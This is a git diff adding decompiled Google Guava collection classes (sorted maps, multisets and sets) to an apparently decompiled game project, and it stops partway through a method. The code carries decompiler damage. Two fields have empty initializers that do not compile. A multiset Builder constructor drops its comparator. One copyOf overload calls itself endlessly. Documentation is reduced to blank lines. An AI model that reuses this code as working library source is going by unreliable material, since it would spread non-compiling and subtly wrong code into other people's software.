+
+
+
+
+
+  public static <K, V> ImmutableSortedMap<K, V> copyOfSorted(SortedMap<K, ? extends V> map)
+  {
+    Comparator<? super K> comparator = map.comparator();
+    if (comparator == null)
+    {
+
+      comparator = NATURAL_ORDER;
+    }
+    return copyOfInternal(map, comparator);
+  }
+  
+  private static <K, V> ImmutableSortedMap<K, V> copyOfInternal(Map<? extends K, ? extends V> map, Comparator<? super K> comparator)
+  {
+    boolean sameComparator = false;
+    if ((map instanceof SortedMap)) {
+      SortedMap<?, ?> sortedMap = (SortedMap)map;
+      Comparator<?> comparator2 = sortedMap.comparator();
+      sameComparator = comparator2 == null ? false : comparator == NATURAL_ORDER ? true : comparator.equals(comparator2);
+    }
+    
+
+
+    if ((sameComparator) && ((map instanceof ImmutableSortedMap)))
+    {
+
+
+      ImmutableSortedMap<K, V> kvMap = (ImmutableSortedMap)map;
+      if (!kvMap.isPartialView()) {
+        return kvMap;
+      }
+    }
+    
+
+
+
+
+    Map.Entry<K, V>[] entries = (Map.Entry[])map.entrySet().toArray(new Map.Entry[0]);
+    
+    return fromEntries(comparator, sameComparator, entries.length, entries);
+  }
+  
+  static <K, V> ImmutableSortedMap<K, V> fromEntries(Comparator<? super K> comparator, boolean sameComparator, int size, Map.Entry<K, V>... entries)
+  {
+    for (int i = 0; i < size; i++) {
+      Map.Entry<K, V> entry = entries[i];
+      entries[i] = entryOf(entry.getKey(), entry.getValue());
+    }
+    if (!sameComparator) {
+      sortEntries(comparator, size, entries);
+      validateEntries(size, entries, comparator);
+    }
+    
+    return fromSortedEntries(comparator, size, entries);
+  }
+  
+  private static <K, V> void sortEntries(Comparator<? super K> comparator, int size, Map.Entry<K, V>[] entries)
+  {
+    Arrays.sort(entries, 0, size, Ordering.from(comparator).onKeys());
+  }
+  
+  private static <K, V> void validateEntries(int size, Map.Entry<K, V>[] entries, Comparator<? super K> comparator)
+  {
+    for (int i = 1; i < size; i++) {
+      checkNoConflict(comparator.compare(entries[(i - 1)].getKey(), entries[i].getKey()) != 0, "key", entries[(i - 1)], entries[i]);
+    }
+  }
+  
+
+
+
+
+
+  public static <K extends Comparable<?>, V> Builder<K, V> naturalOrder()
+  {
+    return new Builder(Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+  public static <K, V> Builder<K, V> orderedBy(Comparator<K> comparator)
+  {
+    return new Builder(comparator);
+  }
+  
+
+
+
+  public static <K extends Comparable<?>, V> Builder<K, V> reverseOrder()
+  {
+    return new Builder(Ordering.natural().reverse());
+  }
+  
+
+
+
+
+
+
+
+  ImmutableSortedMap() {}
+  
+
+
+
+
+
+
+
+  public static class Builder<K, V>
+    extends ImmutableMap.Builder<K, V>
+  {
+    private final Comparator<? super K> comparator;
+    
+
+
+
+
+
+
+    public Builder(Comparator<? super K> comparator)
+    {
+      this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+    }
+    
+
+
+
+
+    public Builder<K, V> put(K key, V value)
+    {
+      super.put(key, value);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<K, V> put(Map.Entry<? extends K, ? extends V> entry)
+    {
+      super.put(entry);
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder<K, V> putAll(Map<? extends K, ? extends V> map)
+    {
+      super.putAll(map);
+      return this;
+    }
+    
+
+
+
+
+
+    public ImmutableSortedMap<K, V> build()
+    {
+      return ImmutableSortedMap.fromEntries(comparator, false, size, entries);
+    }
+  }
+  
+
+
+  ImmutableSortedMap(ImmutableSortedMap<K, V> descendingMap)
+  {
+    this.descendingMap = descendingMap;
+  }
+  
+  public int size()
+  {
+    return values().size();
+  }
+  
+  public boolean containsValue(@Nullable Object value) {
+    return values().contains(value);
+  }
+  
+  boolean isPartialView() {
+    return (keySet().isPartialView()) || (values().isPartialView());
+  }
+  
+
+
+
+  public ImmutableSet<Map.Entry<K, V>> entrySet()
+  {
+    return super.entrySet();
+  }
+  
+
+
+
+
+
+  public abstract ImmutableSortedSet<K> keySet();
+  
+
+
+
+
+  public abstract ImmutableCollection<V> values();
+  
+
+
+
+
+  public Comparator<? super K> comparator()
+  {
+    return keySet().comparator();
+  }
+  
+  public K firstKey()
+  {
+    return keySet().first();
+  }
+  
+  public K lastKey()
+  {
+    return keySet().last();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedMap<K, V> headMap(K toKey)
+  {
+    return headMap(toKey, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract ImmutableSortedMap<K, V> headMap(K paramK, boolean paramBoolean);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedMap<K, V> subMap(K fromKey, K toKey)
+  {
+    return subMap(fromKey, true, toKey, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+  {
+    Preconditions.checkNotNull(fromKey);
+    Preconditions.checkNotNull(toKey);
+    Preconditions.checkArgument(comparator().compare(fromKey, toKey) <= 0, "expected fromKey <= toKey but %s > %s", new Object[] { fromKey, toKey });
+    
+    return headMap(toKey, toInclusive).tailMap(fromKey, fromInclusive);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public ImmutableSortedMap<K, V> tailMap(K fromKey)
+  {
+    return tailMap(fromKey, true);
+  }
+  
+
+
+
+
+
+
+
+  public abstract ImmutableSortedMap<K, V> tailMap(K paramK, boolean paramBoolean);
+  
+
+
+
+
+
+
+
+  public Map.Entry<K, V> lowerEntry(K key)
+  {
+    return headMap(key, false).lastEntry();
+  }
+  
+  public K lowerKey(K key)
+  {
+    return Maps.keyOrNull(lowerEntry(key));
+  }
+  
+  public Map.Entry<K, V> floorEntry(K key)
+  {
+    return headMap(key, true).lastEntry();
+  }
+  
+  public K floorKey(K key)
+  {
+    return Maps.keyOrNull(floorEntry(key));
+  }
+  
+  public Map.Entry<K, V> ceilingEntry(K key)
+  {
+    return tailMap(key, true).firstEntry();
+  }
+  
+  public K ceilingKey(K key)
+  {
+    return Maps.keyOrNull(ceilingEntry(key));
+  }
+  
+  public Map.Entry<K, V> higherEntry(K key)
+  {
+    return tailMap(key, false).firstEntry();
+  }
+  
+  public K higherKey(K key)
+  {
+    return Maps.keyOrNull(higherEntry(key));
+  }
+  
+  public Map.Entry<K, V> firstEntry()
+  {
+    return isEmpty() ? null : (Map.Entry)entrySet().asList().get(0);
+  }
+  
+  public Map.Entry<K, V> lastEntry()
+  {
+    return isEmpty() ? null : (Map.Entry)entrySet().asList().get(size() - 1);
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final Map.Entry<K, V> pollFirstEntry()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final Map.Entry<K, V> pollLastEntry()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  public ImmutableSortedMap<K, V> descendingMap()
+  {
+    ImmutableSortedMap<K, V> result = descendingMap;
+    if (result == null) {
+      result = this.descendingMap = createDescendingMap();
+    }
+    return result;
+  }
+  
+  abstract ImmutableSortedMap<K, V> createDescendingMap();
+  
+  public ImmutableSortedSet<K> navigableKeySet()
+  {
+    return keySet();
+  }
+  
+  public ImmutableSortedSet<K> descendingKeySet()
+  {
+    return keySet().descendingSet();
+  }
+  
+
+  private static class SerializedForm
+    extends ImmutableMap.SerializedForm
+  {
+    private final Comparator<Object> comparator;
+    
+    private static final long serialVersionUID = 0L;
+    
+    SerializedForm(ImmutableSortedMap<?, ?> sortedMap)
+    {
+      super();
+      comparator = sortedMap.comparator();
+    }
+    
+    Object readResolve() { ImmutableSortedMap.Builder<Object, Object> builder = new ImmutableSortedMap.Builder(comparator);
+      return createMap(builder);
+    }
+  }
+  
+  Object writeReplace()
+  {
+    return new SerializedForm(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedMapFauxverideShim.java b/src/minecraft/com/google/common/collect/ImmutableSortedMapFauxverideShim.java
new file mode 100644
index 0000000..000ae6b
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedMapFauxverideShim.java
@@ -0,0 +1,112 @@
+package com.google.common.collect;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class ImmutableSortedMapFauxverideShim<K, V>
+  extends ImmutableMap<K, V>
+{
+  ImmutableSortedMapFauxverideShim() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ImmutableSortedMap.Builder<K, V> builder()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ImmutableSortedMap<K, V> of(K k1, V v1)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <K, V> ImmutableSortedMap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedMultiset.java b/src/minecraft/com/google/common/collect/ImmutableSortedMultiset.java
new file mode 100644
index 0000000..230f062
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedMultiset.java
@@ -0,0 +1,575 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtIncompatible("hasn't been tested yet")
+public abstract class ImmutableSortedMultiset<E>
+  extends ImmutableSortedMultisetFauxverideShim<E>
+  implements SortedMultiset<E>
+{
+  private static final Comparator<Comparable> NATURAL_ORDER = ;
+  
+  private static final ImmutableSortedMultiset<Comparable> NATURAL_EMPTY_MULTISET = new EmptyImmutableSortedMultiset(NATURAL_ORDER);
+  
+
+  transient ImmutableSortedMultiset<E> descendingMultiset;
+  
+
+  public static <E> ImmutableSortedMultiset<E> of()
+  {
+    return NATURAL_EMPTY_MULTISET;
+  }
+  
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> of(E element)
+  {
+    RegularImmutableSortedSet<E> elementSet = (RegularImmutableSortedSet)ImmutableSortedSet.of(element);
+    
+    int[] counts = { 1 };
+    long[] cumulativeCounts = { 0L, 1L };
+    return new RegularImmutableSortedMultiset(elementSet, counts, cumulativeCounts, 0, 1);
+  }
+  
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> of(E e1, E e2)
+  {
+    return copyOf(Ordering.natural(), Arrays.asList(new Comparable[] { e1, e2 }));
+  }
+  
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> of(E e1, E e2, E e3)
+  {
+    return copyOf(Ordering.natural(), Arrays.asList(new Comparable[] { e1, e2, e3 }));
+  }
+  
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> of(E e1, E e2, E e3, E e4)
+  {
+    return copyOf(Ordering.natural(), Arrays.asList(new Comparable[] { e1, e2, e3, e4 }));
+  }
+  
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    return copyOf(Ordering.natural(), Arrays.asList(new Comparable[] { e1, e2, e3, e4, e5 }));
+  }
+  
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... remaining)
+  {
+    int size = remaining.length + 6;
+    List<E> all = Lists.newArrayListWithCapacity(size);
+    Collections.addAll(all, new Comparable[] { e1, e2, e3, e4, e5, e6 });
+    Collections.addAll(all, remaining);
+    return copyOf(Ordering.natural(), all);
+  }
+  
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedMultiset<E> copyOf(E[] elements)
+  {
+    return copyOf(Ordering.natural(), Arrays.asList(elements));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedMultiset<E> copyOf(Iterable<? extends E> elements)
+  {
+    Ordering<E> naturalOrder = Ordering.natural();
+    return copyOf(naturalOrder, elements);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedMultiset<E> copyOf(Iterator<? extends E> elements)
+  {
+    Ordering<E> naturalOrder = Ordering.natural();
+    return copyOf(naturalOrder, elements);
+  }
+  
+
+
+
+
+
+
+  public static <E> ImmutableSortedMultiset<E> copyOf(Comparator<? super E> comparator, Iterator<? extends E> elements)
+  {
+    Preconditions.checkNotNull(comparator);
+    return new Builder(comparator).addAll(elements).build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedMultiset<E> copyOf(Comparator<? super E> comparator, Iterable<? extends E> elements)
+  {
+    if ((elements instanceof ImmutableSortedMultiset))
+    {
+      ImmutableSortedMultiset<E> multiset = (ImmutableSortedMultiset)elements;
+      if (comparator.equals(multiset.comparator())) {
+        if (multiset.isPartialView()) {
+          return copyOfSortedEntries(comparator, multiset.entrySet().asList());
+        }
+        return multiset;
+      }
+    }
+    
+    elements = Lists.newArrayList(elements);
+    TreeMultiset<E> sortedCopy = TreeMultiset.create((Comparator)Preconditions.checkNotNull(comparator));
+    Iterables.addAll(sortedCopy, elements);
+    return copyOfSortedEntries(comparator, sortedCopy.entrySet());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedMultiset<E> copyOfSorted(SortedMultiset<E> sortedMultiset)
+  {
+    return copyOfSortedEntries(sortedMultiset.comparator(), Lists.newArrayList(sortedMultiset.entrySet()));
+  }
+  
+
+  private static <E> ImmutableSortedMultiset<E> copyOfSortedEntries(Comparator<? super E> comparator, Collection<Multiset.Entry<E>> entries)
+  {
+    if (entries.isEmpty()) {
+      return emptyMultiset(comparator);
+    }
+    ImmutableList.Builder<E> elementsBuilder = new ImmutableList.Builder(entries.size());
+    int[] counts = new int[entries.size()];
+    long[] cumulativeCounts = new long[entries.size() + 1];
+    int i = 0;
+    for (Multiset.Entry<E> entry : entries) {
+      elementsBuilder.add(entry.getElement());
+      counts[i] = entry.getCount();
+      cumulativeCounts[(i + 1)] = (cumulativeCounts[i] + counts[i]);
+      i++;
+    }
+    return new RegularImmutableSortedMultiset(new RegularImmutableSortedSet(elementsBuilder.build(), comparator), counts, cumulativeCounts, 0, entries.size());
+  }
+  
+
+
+  static <E> ImmutableSortedMultiset<E> emptyMultiset(Comparator<? super E> comparator)
+  {
+    if (NATURAL_ORDER.equals(comparator)) {
+      return NATURAL_EMPTY_MULTISET;
+    }
+    return new EmptyImmutableSortedMultiset(comparator);
+  }
+  
+  ImmutableSortedMultiset() {}
+  
+  public final Comparator<? super E> comparator()
+  {
+    return elementSet().comparator();
+  }
+  
+
+
+  public abstract ImmutableSortedSet<E> elementSet();
+  
+
+  public ImmutableSortedMultiset<E> descendingMultiset()
+  {
+    ImmutableSortedMultiset<E> result = descendingMultiset;
+    if (result == null) {
+      return this.descendingMultiset = new DescendingImmutableSortedMultiset(this);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public final Multiset.Entry<E> pollFirstEntry()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public final Multiset.Entry<E> pollLastEntry()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+  public abstract ImmutableSortedMultiset<E> headMultiset(E paramE, BoundType paramBoundType);
+  
+
+  public ImmutableSortedMultiset<E> subMultiset(E lowerBound, BoundType lowerBoundType, E upperBound, BoundType upperBoundType)
+  {
+    Preconditions.checkArgument(comparator().compare(lowerBound, upperBound) <= 0, "Expected lowerBound <= upperBound but %s > %s", new Object[] { lowerBound, upperBound });
+    
+    return tailMultiset(lowerBound, lowerBoundType).headMultiset(upperBound, upperBoundType);
+  }
+  
+
+
+
+
+  public abstract ImmutableSortedMultiset<E> tailMultiset(E paramE, BoundType paramBoundType);
+  
+
+
+
+
+  public static <E> Builder<E> orderedBy(Comparator<E> comparator)
+  {
+    return new Builder(comparator);
+  }
+  
+
+
+
+
+
+
+
+  public static <E extends Comparable<E>> Builder<E> reverseOrder()
+  {
+    return new Builder(Ordering.natural().reverse());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<E>> Builder<E> naturalOrder()
+  {
+    return new Builder(Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static class Builder<E>
+    extends ImmutableMultiset.Builder<E>
+  {
+    public Builder(Comparator<? super E> comparator)
+    {
+      super();
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> add(E element)
+    {
+      super.add(element);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public Builder<E> addCopies(E element, int occurrences)
+    {
+      super.addCopies(element, occurrences);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+    public Builder<E> setCount(E element, int count)
+    {
+      super.setCount(element, count);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> add(E... elements)
+    {
+      super.add(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterator<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+
+    public ImmutableSortedMultiset<E> build()
+    {
+      return ImmutableSortedMultiset.copyOfSorted((SortedMultiset)contents);
+    }
+  }
+  
+  private static final class SerializedForm<E> implements Serializable
+  {
+    Comparator<? super E> comparator;
+    E[] elements;
+    int[] counts;
+    
+    SerializedForm(SortedMultiset<E> multiset) {
+      comparator = multiset.comparator();
+      int n = multiset.entrySet().size();
+      elements = ((Object[])new Object[n]);
+      counts = new int[n];
+      int i = 0;
+      for (Multiset.Entry<E> entry : multiset.entrySet()) {
+        elements[i] = entry.getElement();
+        counts[i] = entry.getCount();
+        i++;
+      }
+    }
+    
+    Object readResolve() {
+      int n = elements.length;
+      ImmutableSortedMultiset.Builder<E> builder = new ImmutableSortedMultiset.Builder(comparator);
+      for (int i = 0; i < n; i++) {
+        builder.addCopies(elements[i], counts[i]);
+      }
+      return builder.build();
+    }
+  }
+  
+  Object writeReplace()
+  {
+    return new SerializedForm(this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedMultisetFauxverideShim.java b/src/minecraft/com/google/common/collect/ImmutableSortedMultisetFauxverideShim.java
new file mode 100644
index 0000000..b3a547a
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedMultisetFauxverideShim.java
@@ -0,0 +1,154 @@
+package com.google.common.collect;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class ImmutableSortedMultisetFauxverideShim<E>
+  extends ImmutableMultiset<E>
+{
+  ImmutableSortedMultisetFauxverideShim() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset.Builder<E> builder()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> of(E element)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> of(E e1, E e2)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> of(E e1, E e2, E e3)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> of(E e1, E e2, E e3, E e4)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... remaining)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <E> ImmutableSortedMultiset<E> copyOf(E[] elements)
+  {
+    throw new UnsupportedOperationException();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ImmutableSortedSet.java b/src/minecraft/com/google/common/collect/ImmutableSortedSet.java
new file mode 100644
index 0000000..147c489
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ImmutableSortedSet.java
@@ -0,0 +1,835 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.io.InvalidObjectException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public abstract class ImmutableSortedSet<E>
+  extends ImmutableSortedSetFauxverideShim<E>
+  implements NavigableSet<E>, SortedIterable<E>
+{
+  private static final Comparator<Comparable> NATURAL_ORDER = ;
+  
+
+  private static final ImmutableSortedSet<Comparable> NATURAL_EMPTY_SET = new EmptyImmutableSortedSet(NATURAL_ORDER);
+  final transient Comparator<? super E> comparator;
+  @GwtIncompatible("NavigableSet")
+  transient ImmutableSortedSet<E> descendingSet;
+  
+  private static <E> ImmutableSortedSet<E> emptySet() { return NATURAL_EMPTY_SET; }
+  
+
+  static <E> ImmutableSortedSet<E> emptySet(Comparator<? super E> comparator)
+  {
+    if (NATURAL_ORDER.equals(comparator)) {
+      return emptySet();
+    }
+    return new EmptyImmutableSortedSet(comparator);
+  }
+  
+
+
+
+  public static <E> ImmutableSortedSet<E> of()
+  {
+    return emptySet();
+  }
+  
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E element)
+  {
+    return new RegularImmutableSortedSet(ImmutableList.of(element), Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2)
+  {
+    return construct(Ordering.natural(), 2, new Comparable[] { e1, e2 });
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3)
+  {
+    return construct(Ordering.natural(), 3, new Comparable[] { e1, e2, e3 });
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4)
+  {
+    return construct(Ordering.natural(), 4, new Comparable[] { e1, e2, e3, e4 });
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4, E e5)
+  {
+    return construct(Ordering.natural(), 5, new Comparable[] { e1, e2, e3, e4, e5 });
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4, E e5, E e6, E... remaining)
+  {
+    Comparable[] contents = new Comparable[6 + remaining.length];
+    contents[0] = e1;
+    contents[1] = e2;
+    contents[2] = e3;
+    contents[3] = e4;
+    contents[4] = e5;
+    contents[5] = e6;
+    System.arraycopy(remaining, 0, contents, 6, remaining.length);
+    return construct(Ordering.natural(), contents.length, (Comparable[])contents);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable<? super E>> ImmutableSortedSet<E> copyOf(E[] elements)
+  {
+    return construct(Ordering.natural(), elements.length, (Object[])elements.clone());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOf(Iterable<? extends E> elements)
+  {
+    Ordering<E> naturalOrder = Ordering.natural();
+    return copyOf(naturalOrder, elements);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOf(Collection<? extends E> elements)
+  {
+    Ordering<E> naturalOrder = Ordering.natural();
+    return copyOf(naturalOrder, elements);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOf(Iterator<? extends E> elements)
+  {
+    Ordering<E> naturalOrder = Ordering.natural();
+    return copyOf(naturalOrder, elements);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOf(Comparator<? super E> comparator, Iterator<? extends E> elements)
+  {
+    return new Builder(comparator).addAll(elements).build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOf(Comparator<? super E> comparator, Iterable<? extends E> elements)
+  {
+    Preconditions.checkNotNull(comparator);
+    boolean hasSameComparator = SortedIterables.hasSameComparator(comparator, elements);
+    
+
+    if ((hasSameComparator) && ((elements instanceof ImmutableSortedSet)))
+    {
+      ImmutableSortedSet<E> original = (ImmutableSortedSet)elements;
+      if (!original.isPartialView()) {
+        return original;
+      }
+    }
+    
+    E[] array = (Object[])Iterables.toArray(elements);
+    return construct(comparator, array.length, array);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOf(Comparator<? super E> comparator, Collection<? extends E> elements)
+  {
+    return copyOf(comparator, elements);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> ImmutableSortedSet<E> copyOfSorted(SortedSet<E> sortedSet)
+  {
+    Comparator<? super E> comparator = SortedIterables.comparator(sortedSet);
+    ImmutableList<E> list = ImmutableList.copyOf(sortedSet);
+    if (list.isEmpty()) {
+      return emptySet(comparator);
+    }
+    return new RegularImmutableSortedSet(list, comparator);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static <E> ImmutableSortedSet<E> construct(Comparator<? super E> comparator, int n, E... contents)
+  {
+    if (n == 0) {
+      return emptySet(comparator);
+    }
+    ObjectArrays.checkElementsNotNull(contents, n);
+    Arrays.sort(contents, 0, n, comparator);
+    int uniques = 1;
+    for (int i = 1; i < n; i++) {
+      E cur = contents[i];
+      E prev = contents[(uniques - 1)];
+      if (comparator.compare(cur, prev) != 0) {
+        contents[(uniques++)] = cur;
+      }
+    }
+    Arrays.fill(contents, uniques, n, null);
+    return new RegularImmutableSortedSet(ImmutableList.asImmutableList(contents, uniques), comparator);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E> Builder<E> orderedBy(Comparator<E> comparator)
+  {
+    return new Builder(comparator);
+  }
+  
+
+
+
+  public static <E extends Comparable<?>> Builder<E> reverseOrder()
+  {
+    return new Builder(Ordering.natural().reverse());
+  }
+  
+
+
+
+
+
+
+  public static <E extends Comparable<?>> Builder<E> naturalOrder()
+  {
+    return new Builder(Ordering.natural());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static final class Builder<E>
+    extends ImmutableSet.Builder<E>
+  {
+    private final Comparator<? super E> comparator;
+    
+
+
+
+
+
+
+
+
+
+    public Builder(Comparator<? super E> comparator)
+    {
+      this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+    }
+    
+
+
+
+
+
+
+
+
+
+    public Builder<E> add(E element)
+    {
+      super.add(element);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> add(E... elements)
+    {
+      super.add(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterable<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public Builder<E> addAll(Iterator<? extends E> elements)
+    {
+      super.addAll(elements);
+      return this;
+    }
+    
+
+
+
+
+    public ImmutableSortedSet<E> build()
+    {
+      E[] contentsArray = (Object[])contents;
